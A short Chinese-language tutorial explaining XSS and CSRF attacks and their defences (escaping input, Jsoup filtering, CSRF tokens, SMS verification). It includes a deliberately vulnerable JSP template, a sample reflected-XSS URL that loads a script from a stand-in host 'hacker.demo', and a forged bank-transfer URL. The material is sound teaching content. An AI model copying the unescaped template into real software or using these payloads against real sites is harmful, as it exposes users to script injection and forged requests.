XSS(跨站脚本攻击)
xss是指黑客通过向正常用户请求的HTML页面中插入恶意的脚本。XSS主要用于信息窃取、破坏等目的。
技术原理: 后端Java开发人员、前端开发人员都有可能造成XSS漏洞,比如下面的模板文件就可能导致反射型XSS。
<div>
<h3>反射型XSS示例</h3>
<br>用户:<%= request.getParameter("userName") %>
<br>系统错误信息:<%= request.getParameter("errorMessage") %>
<diV>
/**
上面的代码从Http请求中取了userName和errorMessage两个参数,并直接输入到HTTP中用于页面展示,当黑
客构造如下的URL时就出现了反射型XSS,用户浏览器就可以执行和的JavaScript脚本。
HTTP:XSS.demo/self-xss.jsp?userName=张三<script>alert(“张三”)</script>&errorMessage=
XSS示例<script src = http://hacker.demo/xss-script.js />
*/
防范XSS: 主要通过对用户输入数据过滤或者转义。比如java开发人员可以使用Jsoup框架对用户输入字符串做XSS过滤,或者使用框架提供的工具类对用户输入的字符串进行转义。
CSRF(跨站请求伪造攻击)
CSRF也被称为One-click Attack,即在用户不知情的情况下,冒充用户发起请求,在当前已经登录的Web应用程序上执行恶意操作,如恶意发帖、修改密码、发邮件等。
XSS与CSRF的区别: XSS是正常的用户请求的HTML页面中执行了黑客提供的恶意代码;CSRF是黑客直接盗用用户浏览器中的登录信息,冒充用户去执行黑客指定的操作。XSS问题出在用户数据没有过滤、转义;CSRF问题出在HTTP接口没有防范不受信任的调用。很多工程师会混淆这两个概念,甚至认为这两个攻击是一样的。
比如某用户A登录了网上银行,这时黑客发给他一个链接,URL如下:
https://net-bank.demo/transfer.do?targetAccount=12345&amount=100
如果用户A在打开了网银的浏览器中点开了黑客发送的URL,那么有可能在用户A不知情的情况下从他的账户转100元人民币到其他用户。当然网上银行不会有这么明显的漏洞。
防范CSRF漏洞主要通过以下方式:
- CSRF Token验证,利用浏览器的同源限制,在HTTP接口执行前验证页面或者Cookie中设置的Token,只有验证通过才继续执行请求。
- 人机交互,比如在调用上述网上银行转账接口时校验短信验证码。